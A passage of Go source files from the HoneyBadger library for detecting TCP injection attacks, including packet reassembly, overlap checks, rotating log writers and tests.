[]byte(\"\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\")\n\t//if !bytes.Equal(testWriter.lastWrite, want) {\n\t//\tt.Errorf(\"pcap header is wrong\")\n\t//\tt.Fail()\n\t//}\n\n\tif !bytes.Equal(testWriter.lastWrite, rawPacket) {\n\t\tt.Errorf(\"pcap packet is wrong\")\n\t\tt.Fail()\n\t}\n\n\tpcapLogger.Stop()\n}\n"
  },
  {
    "path": "logging/rotating_writer.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage logging\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"os\"\n)\n\ntype RotatingQuotaWriter struct {\n\tfilename        string\n\tfp              *os.File\n\tnumLogs         int\n\tlogSize         int\n\tquotaSizeBytes  int\n\tsizes           []int\n\theaderFunc      func()\n\tmustWriteHeader bool\n}\n\n// NewRotatingQuotaWriter takes a \"starting filename\" and a quota size in bytes...\n// and guarantees to behave as an io.Writer who will write no more than quotaSize\n// bytes to disk. `headerFunc` is executed upon the new file, after each rotation.\nfunc NewRotatingQuotaWriter(filename string, quotaSize int, numLogs int, headerFunc func()) *RotatingQuotaWriter {\n\tquotaSizeBytes := quotaSize * 1024 * 1024\n\tlogSize := int(math.Floor(float64(quotaSizeBytes) / float64(numLogs)))\n\tif logSize*numLogs > quotaSizeBytes {\n\t\tpanic(\"wtf: logSize * numLogs > quotaSize\")\n\t}\n\tw := &RotatingQuotaWriter{\n\t\tfilename:        filename,\n\t\tnumLogs:         numLogs,\n\t\tlogSize:         logSize,\n\t\tquotaSizeBytes:  quotaSizeBytes,\n\t\theaderFunc:      headerFunc,\n\t\tsizes:           make([]int, numLogs),\n\t\tfp:              nil,\n\t\tmustWriteHeader: true,\n\t}\n\treturn w\n}\n\nfunc (w *RotatingQuotaWriter) Write(output []byte) (int, error) {\n\tvar err error\n\tif w.fp == nil {\n\t\tw.fp, err = os.Create(w.filename)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tw.mustWriteHeader = true\n\t\tw.headerFunc()\n\t\tw.sizes[0] += len(output)\n\t\treturn w.fp.Write(output)\n\t}\n\tif w.mustWriteHeader {\n\t\tw.mustWriteHeader = false\n\t\tw.sizes[0] += len(output)\n\t\treturn w.fp.Write(output)\n\t}\n\tif w.sizes[0]+len(output) > w.logSize {\n\t\tw.rotate()\n\t\t// pop\n\t\tw.sizes = w.sizes[0 : len(w.sizes)-1]\n\t\t// push\n\t\tnew := make([]int, 1, 10)\n\t\tnew[0] = len(output)\n\t\tw.sizes = append(new, w.sizes...)\n\t\tw.fp, err = os.Create(w.filename)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t} else {\n\t\tw.sizes[0] += len(output)\n\t}\n\treturn w.fp.Write(output)\n}\n\nfunc (w *RotatingQuotaWriter) Close() error {\n\terr := w.fp.Close()\n\tw.fp = nil\n\treturn err\n}\n\nfunc (w *RotatingQuotaWriter) rotate() {\n\tvar err error\n\tif w.fp != nil {\n\t\terr = w.fp.Close()\n\t\tw.fp = nil\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tfor i := w.numLogs; i > 0; i-- {\n\t\tw.shiftLog(i)\n\t}\n\tnewName := fmt.Sprintf(\"%s.1\", w.filename)\n\terr = os.Rename(w.filename, newName)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc (w *RotatingQuotaWriter) shiftLog(logNum int) {\n\tvar err error\n\toldName := fmt.Sprintf(\"%s.%d\", w.filename, logNum)\n\tif logNum == w.numLogs {\n\t\tos.Remove(oldName)\n\t\treturn\n\t}\n\t_, err = os.Stat(oldName)\n\tif os.IsNotExist(err) {\n\t\treturn\n\t} else if err != nil {\n\t\tpanic(err)\n\t}\n\tnewName := fmt.Sprintf(\"%s.%d\", w.filename, logNum+1)\n\terr = os.Rename(oldName, newName)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n"
  },
  {
    "path": "logging/util_test.go",
    "content": "package logging\n\ntype TestSignalWriter struct {\n\tlastWrite  []byte\n\tsignalChan chan bool\n\tcloseChan  chan bool\n}\n\nfunc NewTestSignalWriter() *TestSignalWriter {\n\treturn &TestSignalWriter{\n\t\tsignalChan: make(chan bool),\n\t\tcloseChan:  make(chan bool),\n\t}\n}\n\nfunc (w *TestSignalWriter) Write(data []byte) (int, error) {\n\tw.lastWrite = data\n\tw.signalChan <- true\n\treturn len(data), nil\n}\n\nfunc (w *TestSignalWriter) Close() error {\n\tw.closeChan <- true\n\treturn nil\n}\n"
  },
  {
    "path": "ordered_coalesce.go",
    "content": "/*\n *    packet_reorder.go - tcp packet reordering\n *\n *    I include google's license because this code is copy-pasted and refactored\n *    from the original, Google's gopacket.tcpassembly...\n *    Thanks to Graeme Connel for writing tcpassembly!\n */\n\n// Copyright 2012 Google, Inc. All rights reserved.\n//\n// Use of this source code is governed by a BSD-style license\n// that can be found in the LICENSE_BSD file in the root of the source\n// tree.\n\npackage HoneyBadger\n\nimport (\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket/layers\"\n\t\"log\"\n\t\"time\"\n)\n\nconst pageBytes = 1900\n\nconst memLog = true // XXX get rid of me later...\n\n// page is used to store TCP data we're not ready for yet (out-of-order\n// packets).  Unused pages are stored in and returned from a pageCache, which\n// avoids memory allocation.  Used pages are stored in a doubly-linked list in\n// an OrderedCoalesce.\ntype page struct {\n\ttypes.Reassembly\n\tindex      int\n\tprev, next *page\n\tbuf        [pageBytes]byte\n}\n\n// pageCache is a concurrency-unsafe store of page objects we use to avoid\n// memory allocation as much as we can.  It grows but never shrinks.\ntype pageCache struct {\n\tfree         []*page\n\tpcSize       int\n\tsize, used   int\n\tpages        [][]page\n\tpageRequests int64\n}\n\nconst initialAllocSize = 1024\n\nfunc newPageCache() *pageCache {\n\tpc := &pageCache{\n\t\tfree:   make([]*page, 0, initialAllocSize),\n\t\tpcSize: initialAllocSize,\n\t}\n\tpc.grow()\n\treturn pc\n}\n\n// grow exponentially increases the size of our page cache as much as necessary.\nfunc (c *pageCache) grow() {\n\tpages := make([]page, c.pcSize)\n\tc.pages = append(c.pages, pages)\n\tc.size += c.pcSize\n\tfor i := range pages {\n\t\tc.free = append(c.free, &pages[i])\n\t}\n\tif memLog {\n\t\tlog.Println(\"PageCache: created\", c.pcSize, \"new pages\")\n\t}\n\tc.pcSize *= 2\n}\n\n// next returns a clean, ready-to-use page object.\nfunc (c *pageCache) next(ts time.Time) (p *page) {\n\tif memLog {\n\t\tc.pageRequests++\n\t\tif c.pageRequests&0xFFFF == 0 {\n\t\t\tlog.Println(\"PageCache:\", c.pageRequests, \"requested,\", c.used, \"used,\", len(c.free), \"free\")\n\t\t}\n\t}\n\tif len(c.free) == 0 {\n\t\tc.grow()\n\t}\n\ti := len(c.free) - 1\n\tp, c.free = c.free[i], c.free[:i]\n\tp.prev = nil\n\tp.next = nil\n\tp.Seen = ts\n\tp.Bytes = p.buf[:0]\n\tc.used++\n\treturn p\n}\n\n// replace replaces a page into the pageCache.\nfunc (c *pageCache) replace(p *page) {\n\tc.used--\n\tc.free = append(c.free, p)\n}\n\nfunc min(a, b int) int {\n\tif a < b {\n\t\treturn a\n\t}\n\treturn b\n}\n\nfunc byteSpan(expected, received types.Sequence, bytes []byte) (toSend []byte, next types.Sequence) {\n\tif expected == types.InvalidSequence {\n\t\treturn bytes, received.Add(len(bytes))\n\t}\n\tspan := int(received.Difference(expected))\n\tif span <= 0 {\n\t\treturn bytes, received.Add(len(bytes))\n\t} else if len(bytes) < span {\n\t\treturn nil, expected\n\t}\n\treturn bytes[span:], expected.Add(len(bytes) - span)\n}\n\ntype OrderedCoalesce struct {\n\t// MaxBufferedPagesTotal is an upper limit on the total number of pages to\n\t// buffer while waiting for out-of-order packets.  Once this limit is\n\t// reached, the assembler will degrade to flushing every connection it\n\t// gets a packet for.  If <= 0, this is ignored.\n\tMaxBufferedPagesTotal int\n\t// MaxBufferedPagesPerConnection is an upper limit on the number of pages\n\t// buffered for a single flow.  Should this limit be reached for a\n\t// particular flow, the smallest sequence number will be flushed, along\n\t// with any contiguous data.  If <= 0, this is ignored.\n\tMaxBufferedPagesPerFlow int\n\n\tFlow                    *types.TcpIpFlow\n\tStreamRing              *types.Ring\n\tlog                     types.Logger\n\tpageCount               int\n\tPageCache               *pageCache\n\tfirst, last             *page\n\tDetectCoalesceInjection bool\n\tattackDetected          *bool\n}\n\nfunc NewOrderedCoalesce(logger types.Logger, flow *types.TcpIpFlow, pageCache *pageCache, streamRing *types.Ring, maxBufferedPagesTotal, maxBufferedPagesPerFlow int, DetectCoalesceInjection bool, attackDetected *bool) *OrderedCoalesce {\n\treturn &OrderedCoalesce{\n\t\tattackDetected: attackDetected,\n\t\tlog:            logger,\n\t\tFlow:           flow,\n\t\tPageCache:      pageCache,\n\t\tStreamRing:     streamRing,\n\n\t\tMaxBufferedPagesTotal:   maxBufferedPagesTotal,\n\t\tMaxBufferedPagesPerFlow: maxBufferedPagesPerFlow,\n\t\tDetectCoalesceInjection: DetectCoalesceInjection,\n\t}\n}\n\n// Close returns all used pages to the page cache\nfunc (o *OrderedCoalesce) Close() {\n\tfor c := o.first; c != nil; c = c.next {\n\t\to.PageCache.replace(c)\n\t}\n}\n\nfunc (o *OrderedCoalesce) insert(packetManifest *types.PacketManifest, nextSeq types.Sequence) (types.Sequence, bool) {\n\tisEnd := false\n\tif o.first != nil && o.first.Seq == nextSeq {\n\t\tpanic(\"wtf\")\n\t}\n\t// XXX for now we ignore zero size packets\n\tif len(packetManifest.Payload) == 0 {\n\t\treturn nextSeq, false\n\t}\n\tif o.pageCount < 0 {\n\t\tpanic(\"OrderedCoalesce.insert pageCount less than zero\")\n\t}\n\t// XXX todo: handle out of order FIN and RST packets\n\tp, p2, pcount := o.pagesFromTcp(packetManifest)\n\tprev, current := o.traverse(types.Sequence(packetManifest.TCP.Seq))\n\to.pushBetween(prev, current, p, p2)\n\to.pageCount += pcount\n\tif (o.MaxBufferedPagesPerFlow > 0 && o.pageCount >= o.MaxBufferedPagesPerFlow) ||\n\t\t(o.MaxBufferedPagesTotal > 0 && o.PageCache.used >= o.MaxBufferedPagesTotal) {\n\t\tif o.pageCount < 0 {\n\t\t\tpanic(\"OrderedCoalesce.insert pageCount less than zero\")\n\t\t}\n\t\tnextSeq, isEnd = o.flushUntilThreshold(nextSeq)\n\t}\n\treturn nextSeq, isEnd\n}\n\n// flushUntilThreshold will flush our cache until either we are within the threshold OR\n// our cache is empty.\nfunc (o *OrderedCoalesce) flushUntilThreshold(nextSeq types.Sequence) (types.Sequence, bool) {\n\tisEnd := false\n\tfor o.first != nil && o.pageCount >= o.MaxBufferedPagesPerFlow || o.PageCache.used >= o.MaxBufferedPagesTotal {\n\t\tnextSeq, isEnd = o.addNext(nextSeq)\n\t\tif isEnd {\n\t\t\tbreak\n\t\t}\n\t}\n\tif o.first != nil {\n\t\tnextSeq, isEnd = o.addContiguous(nextSeq)\n\t}\n\treturn nextSeq, isEnd\n}\n\n// pagesFromTcp creates a page (or set of pages) from a TCP packet.  Note that\n// it should NEVER receive a SYN packet, as it doesn't handle sequences\n// correctly.\n//\n// It returns the first and last page in its doubly-linked list of new pages.\nfunc (o *OrderedCoalesce) pagesFromTcp(p *types.PacketManifest) (*page, *page, int) {\n\tfirst := o.PageCache.next(p.Timestamp)\n\tcount := 1\n\tcurrent := first\n\tseq, bytes := types.Sequence(p.TCP.Seq), p.Payload\n\tfor {\n\t\tlength := min(len(bytes), pageBytes)\n\t\tcurrent.Bytes = current.buf[:length]\n\t\tcopy(current.Bytes, bytes)\n\t\tcurrent.Seq = seq\n\t\tbytes = bytes[length:]\n\t\tif len(bytes) == 0 {\n\t\t\tbreak\n\t\t}\n\t\tseq = seq.Add(length)\n\t\tcurrent.next = o.PageCache.next(p.Timestamp)\n\t\tcount++\n\t\tcurrent.next.prev = current\n\t\tcurrent = current.next\n\t}\n\tcurrent.End = p.TCP.RST || p.TCP.FIN\n\treturn first, current, count\n}\n\n// traverse traverses our doubly-linked list of pages for the correct\n// position to put the given sequence number.  Note that it traverses backwards,\n// starting at the highest sequence number and going down, since we assume the\n// common case is that TCP packets for a stream will appear in-order, with\n// minimal loss or packet reordering.\nfunc (o *OrderedCoalesce) traverse(seq types.Sequence) (*page, *page) {\n\tvar prev, current *page\n\tprev = o.last\n\tfor prev != nil && prev.Seq.Difference(seq) < 0 {\n\t\tcurrent = prev\n\t\tprev = current.prev\n\t}\n\treturn prev, current\n}\n\n// pushBetween inserts the doubly-linked list first-...-last in between the\n// nodes prev-next in another doubly-linked list.  If prev is nil, makes first\n// the new first page in the connection's list.  If next is nil, makes last the\n// new last page in the list.  first/last may point to the same page.\nfunc (o *OrderedCoalesce) pushBetween(prev, next, first, last *page) {\n\t// Maintain our doubly linked list\n\tif next == nil || o.last == nil {\n\t\to.last = last\n\t} else {\n\t\tlast.next = next\n\t\tnext.prev = last\n\t}\n\tif prev == nil || o.first == nil {\n\t\to.first = first\n\t} else {\n\t\tfirst.prev = prev\n\t\tprev.next = first\n\t}\n}\n\nfunc (o *OrderedCoalesce) freeNext() {\n\tif o.first == nil {\n\t\tpanic(\"o.first is nil\")\n\t}\n\treclaim := o.first\n\tif o.first == o.last {\n\t\to.first = nil\n\t\to.last = nil\n\t} else {\n\t\to.first = o.first.next\n\t\to.first.prev = nil\n\t}\n\to.PageCache.replace(reclaim)\n\to.pageCount--\n\tif o.pageCount < 0 {\n\t\t// XXX wtf srsly\n\t\tpanic(\"pageCount less than zero\")\n\t}\n}\n\n// addNext pops the first page off our doubly-linked-list and\n// appends it to the reassembly-ring.\n// Here we also handle the case where the connection should be closed\n// by returning the bool value set to true.\nfunc (o *OrderedCoalesce) addNext(nextSeq types.Sequence) (types.Sequence, bool) {\n\tif o.first == nil {\n\t\tpanic(\"o.first is nil\")\n\t}\n\tdiff := nextSeq.Difference(o.first.Seq)\n\tif nextSeq == types.InvalidSequence {\n\t\to.first.Skip = -1\n\t} else if diff > 0 {\n\t\to.first.Skip = int(diff)\n\t}\n\tif o.first.End {\n\t\to.freeNext()\n\t\treturn -1, true // after closing the connection our Sequence return value doesn't matter\n\t}\n\tif len(o.first.Bytes) == 0 {\n\t\to.freeNext()\n\t\treturn nextSeq, false\n\t}\n\t// ensure we do not add segments that end before nextSeq\n\tdiff = o.first.Seq.Add(len(o.first.Bytes)).Difference(nextSeq)\n\tif diff > 0 {\n\t\to.freeNext()\n\t\treturn nextSeq, false\n\t}\n\tif o.DetectCoalesceInjection && len(o.first.Bytes) > 0 {\n\t\t// XXX stream segment overlap condition\n\t\tif diff < 0 {\n\t\t\tp := types.PacketManifest{\n\t\t\t\tTimestamp: o.first.Seen,\n\t\t\t\tPayload:   o.first.Bytes,\n\t\t\t\tTCP: &layers.TCP{\n\t\t\t\t\tSeq: uint32(o.first.Seq),\n\t\t\t\t},\n\t\t\t}\n\t\t\tstart := types.Sequence(p.TCP.Seq)\n\t\t\tend := types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\tevents := checkForInjectionInRing(o.StreamRing, start, end, p.Payload)\n\n\t\t\t// log events if any\n\t\t\tfor i := 0; i < len(events); i++ {\n\t\t\t\tif events[i] == nil {\n\t\t\t\t\tpanic(\"wtf got nil event\")\n\t\t\t\t} else {\n\t\t\t\t\t*o.attackDetected = true\n\t\t\t\t\tevents[i].Type = \"ordered coalesce 1\"\n\t\t\t\t\tevents[i].Time = o.first.Seen\n\t\t\t\t\tevents[i].Base = o.first.Seq\n\t\t\t\t\tevents[i].Flow = *o.Flow\n\t\t\t\t\tlog.Print(\"detected an ordered coalesce injection\\n\")\n\t\t\t\t\to.log.Log(events[i])\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\tbytes, seq := byteSpan(nextSeq, o.first.Seq, o.first.Bytes) // XXX injection happens here\n\tif bytes != nil {\n\t\to.first.Bytes = bytes\n\t\tnextSeq = seq\n\t\t// append reassembly to the reassembly ring buffer\n\t\tif len(o.first.Bytes) > 0 {\n\t\t\to.StreamRing.Reassembly = &o.first.Reassembly\n\t\t\to.StreamRing.Reassembly.IsCoalesce = true\n\t\t\to.StreamRing = o.StreamRing.Next()\n\t\t}\n\t}\n\to.freeNext()\n\treturn nextSeq, false\n}\n\n// addContiguous adds contiguous byte-sets to a connection.\n// returns the next Sequence number and a bool value set to\n// true if the end of connection was detected.\nfunc (o *OrderedCoalesce) addContiguous(nextSeq types.Sequence) (types.Sequence, bool) {\n\tvar isEnd bool\n\tfor o.first != nil && nextSeq.Difference(o.first.Seq) <= 0 {\n\t\tnextSeq, isEnd = o.addNext(nextSeq)\n\t\tif isEnd {\n\t\t\treturn nextSeq, true\n\t\t}\n\t}\n\treturn nextSeq, false\n}\n"
  },
  {
    "path": "ordered_coalesce_test.go",
    "content": "package HoneyBadger\n\nimport (\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestOrderedCoalesceUsedPages(t *testing.T) {\n\tmaxBufferedPagesTotal := 1024\n\tmaxBufferedPagesPerFlow := 1024\n\tstreamRing := types.NewRing(40)\n\tPageCache := newPageCache()\n\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\n\tvar nextSeq types.Sequence = types.Sequence(1)\n\tattackDetected := false\n\tcoalesce := NewOrderedCoalesce(nil, &flow, PageCache, streamRing, maxBufferedPagesTotal, maxBufferedPagesPerFlow, false, &attackDetected)\n\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSeq:     3,\n\t\tSYN:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\n\tcoalesce.insert(&p, nextSeq)\n\n\tif coalesce.PageCache.used != 1 {\n\t\tt.Errorf(\"coalesce.pager.Used() not equal to 1\\n\")\n\t\tt.Fail()\n\t}\n\n\tcoalesce.Close()\n}\n"
  },
  {
    "path": "pcap_integration_test.go",
    "content": "package HoneyBadger\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\ntype DummyPacketLogger struct {\n}\n\nfunc NewDummyPacketLogger(str string, flow *types.TcpIpFlow, pcapNum int, pcapSize int) types.PacketLogger {\n\tm := DummyPacketLogger{}\n\treturn types.PacketLogger(&m)\n}\n\ntype DummyPacketLoggerFactory struct {\n}\n\nfunc (f DummyPacketLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger {\n\treturn NewDummyPacketLogger(\"\", flow, 10, 100)\n}\n\nfunc (m *DummyPacketLogger) WritePacket(rawPacket []byte, timestamp time.Time) {\n}\n\nfunc (m DummyPacketLogger) SetFileWriter(writer io.WriteCloser) {\n}\n\nfunc (m DummyPacketLogger) Start() {\n}\n\nfunc (m DummyPacketLogger) Stop() {\n}\n\nfunc (m DummyPacketLogger) Archive() {\n}\n\nfunc (m DummyPacketLogger) Remove() {\n}\n\ntype TestLogger struct {\n\teventList []types.Event\n\tcount     int\n}\n\nfunc NewTestLogger() TestLogger {\n\treturn TestLogger{}\n}\n\nfunc (t *TestLogger) Log(event *types.Event) {\n\tt.count += 1\n}\n\nfunc (t *TestLogger) Archive() {\n}\n\nfunc SetupAttackDetectionPcapInquisitor(pcapPath string, attackLogger *TestLogger) {\n\ttcpIdleTimeout, _ := time.ParseDuration(\"10m\")\n\tdispatcherOptions := DispatcherOptions{\n\t\tBufferedPerConnection:    10,\n\t\tBufferedTotal:            100,\n\t\tLogDir:                   \"\",\n\t\tLogPackets:               true,\n\t\tTcpIdleTimeout:           tcpIdleTimeout,\n\t\tMaxRingPackets:           40,\n\t\tLogger:                   types.Logger(attackLogger),\n\t\tDetectHijack:             true,\n\t\tDetectInjection:          true,\n\t\tDetectCoalesceInjection:  true,\n\t\tMaxConcurrentConnections: 100,\n\t}\n\n\twireDuration, _ := time.ParseDuration(\"3s\")\n\tsnifferOptions := types.SnifferDriverOptions{\n\t\tDAQ:          \"libpcap\",\n\t\tDevice:       \"\",\n\t\tFilename:     pcapPath,\n\t\tWireDuration: wireDuration,\n\t\tSnaplen:      65536,\n\t\tFilter:       \"tcp\",\n\t}\n\n\tfactory := &DefaultConnFactory{}\n\tdummyPacketLoggerFactory := DummyPacketLoggerFactory{}\n\toptions := SupervisorOptions{\n\t\tSnifferDriverOptions: &snifferOptions,\n\t\tDispatcherOptions:    dispatcherOptions,\n\t\tSnifferFactory:       NewSniffer,\n\t\tConnectionFactory:    factory,\n\t\tPacketLoggerFactory:  dummyPacketLoggerFactory,\n\t}\n\n\tsupervisor := NewSupervisor(options)\n\tsupervisor.Run()\n\treturn\n}\n\nfunc PcapIsDetectInjection(pcapPath string) bool {\n\tlogger := NewTestLogger()\n\tSetupAttackDetectionPcapInquisitor(pcapPath, &logger)\n\tif logger.count == 0 {\n\t\treturn false\n\t} else {\n\t\treturn true\n\t}\n}\n\nfunc TestAllPcapFiles(t *testing.T) {\n\troot := \"pcap_archive/\"\n\tabsPathSymLink, err := filepath.Abs(root)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tvar path string\n\tpath, err = filepath.EvalSymlinks(absPathSymLink)\n\tif err != nil {\n\t\tt.Skip(\"skipping test because pcap_archive symlink is missing.\")\n\t}\n\twalkpath := func(path string, f os.FileInfo, err error) error {\n\t\tif strings.HasSuffix(path, \".pcap\") {\n\t\t\tfmt.Printf(\"HoneyBadger integration test with: %s\\n\", path)\n\t\t\tif !PcapIsDetectInjection(path) {\n\t\t\t\tt.Fatalf(\"No injection attack detected in pcap file: %s\\n\", path)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\terr = filepath.Walk(path, walkpath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n"
  },
  {
    "path": "retrospective.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage HoneyBadger\n\nimport (\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/david415/HoneyBadger/blocks\"\n\n\t\"log\"\n\t\"bytes\"\n\t\"encoding/hex\"\n)\n\n\nfunc checkForInjectionInRing(ringPtr *types.Ring, start, end types.Sequence, payload []byte) []*types.Event {\n\tacc := []*types.Event{}\n\toverlapBlockSegments := getOverlapsInRing(ringPtr, start, end)\n\tfor i := 0; i < len(overlapBlockSegments); i++ {\n\t\tpacketOverlapBytes := getOverlapBytesFromSlice(payload, start, overlapBlockSegments[i].Block)\n\t\tif !bytes.Equal(packetOverlapBytes, overlapBlockSegments[i].Bytes) {\n\t\t\tlog.Printf(\"injection at TCP Sequence start %d end %d\\n\", start, end)\n\t\t\tlog.Print(\"race winner stream segment:\")\n\t\t\tlog.Print(hex.Dump(overlapBlockSegments[i].Bytes))\n\t\t\tlog.Print(\"race loser stream segment:\")\n\t\t\tlog.Print(hex.Dump(packetOverlapBytes))\n\n\t\t\te := &types.Event{\n\t\t\t\tLoser:   packetOverlapBytes,\n\t\t\t\tWinner:  overlapBlockSegments[i].Bytes,\n\t\t\t\tStart:   overlapBlockSegments[i].Block.A,\n\t\t\t\tEnd:     overlapBlockSegments[i].Block.B,\n\t\t\t}\n\t\t\tif overlapBlockSegments[i].IsCoalesce {\n\t\t\t\te.Type = \"ordered coalesce 2\"\n\t\t\t}\n\t\t\tif overlapBlockSegments[i].IsCoalesceGap {\n\t\t\t\te.Type = \"ordered coalesce 2 gap\"\n\t\t\t}\n\n\t\t\tacc = append(acc, e)\n\t\t}\n\t}\n\treturn acc\n}\n\nfunc getOverlapBytesFromSlice(payload []byte, sequence types.Sequence, overlap blocks.Block) []byte {\n\tstart := sequence.Difference(overlap.A)\n\tend := types.Sequence(start).Add(overlap.A.Difference(overlap.B))\n\treturn payload[start:end]\n}\n\nfunc getOverlapsInRing(ringPtr *types.Ring, start, end types.Sequence) []blocks.BlockSegment {\n\tacc := []blocks.BlockSegment{}\n\n\ttarget := blocks.Block {\n\t\tA: start,\n\t\tB: end,\n\t}\n\n\t// iterate for the entire ring\n\tfor current := ringPtr.Next(); current != ringPtr; current = current.Next() {\n\t\tif current.Reassembly == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(current.Reassembly.Bytes) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tnew_start := types.Sequence(current.Reassembly.Seq)\n\t\tnew_end := types.Sequence(current.Reassembly.Seq).Add(len(current.Reassembly.Bytes))\n\n\t\toverlap := target.Overlap(new_start, new_end)\n\t\tif overlap == nil {\n\t\t\tcontinue\n\t\t} else {\n\t\t\t// overlaps\n\t\t\toverlapBytes := getOverlapBytesFromSlice(current.Reassembly.Bytes, current.Reassembly.Seq, *overlap)\n\t\t\tblockSegment := blocks.BlockSegment {\n\t\t\t\tBlock: *overlap,\n\t\t\t\tBytes: overlapBytes,\n\t\t\t\tIsCoalesce: current.Reassembly.IsCoalesce,\n\t\t\t\tIsCoalesceGap: current.Reassembly.IsCoalesceGap,\n\t\t\t}\n\t\t\tacc = append(acc, blockSegment)\n\t\t}\n\t}\n\treturn acc\n}\n"
  },
  {
    "path": "retrospective_test.go",
    "content": "package HoneyBadger\n\nimport (\n\t\"log\"\n\t\"net\"\n\t\"testing\"\n\n\t\"github.com/david415/HoneyBadger/blocks\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n)\n\ntype reassemblyInput struct {\n\tSeq     uint32\n\tPayload []byte\n}\n\ntype TestOverlapBytesWant struct {\n\tbytes       []byte\n\tstartOffset int\n\tendOffset   int\n}\n\ntype DummyAttackLogger struct {\n\tCount int\n}\n\nfunc NewDummyAttackLogger() *DummyAttackLogger {\n\ta := DummyAttackLogger{\n\t\tCount: 0,\n\t}\n\treturn &a\n}\n\nfunc (d *DummyAttackLogger) Log(event *types.Event) {\n\td.Count += 1\n}\n\nfunc (d *DummyAttackLogger) Archive() {\n}\n\nfunc TestGetOverlapsInRing(t *testing.T) {\n\n\toverlapBlockTests := []struct {\n\t\tin   blocks.Block\n\t\twant []blocks.BlockSegment\n\t}{\n\t\t{ //0\n\t\t\tblocks.Block{A: 1, B: 22}, []blocks.BlockSegment{\n\t\t\t\tblocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{10, 15}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{15, 20}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{20, 22}, []byte{1, 2, 3}, false, false},\n\t\t\t},\n\t\t},\n\t\t{ //1\n\t\t\tblocks.Block{3, 10}, []blocks.BlockSegment{\n\t\t\t\tblocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t},\n\t\t},\n\t\t{ //2\n\t\t\tblocks.Block{6, 12}, []blocks.BlockSegment{\n\t\t\t\tblocks.BlockSegment{blocks.Block{6, 10}, []byte{2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{10, 12}, []byte{1, 2, 3}, false, false},\n\t\t\t},\n\t\t},\n\t\t{ //3\n\t\t\tblocks.Block{A: 1, B: 17}, []blocks.BlockSegment{\n\t\t\t\tblocks.BlockSegment{blocks.Block{5, 10}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{10, 15}, []byte{1, 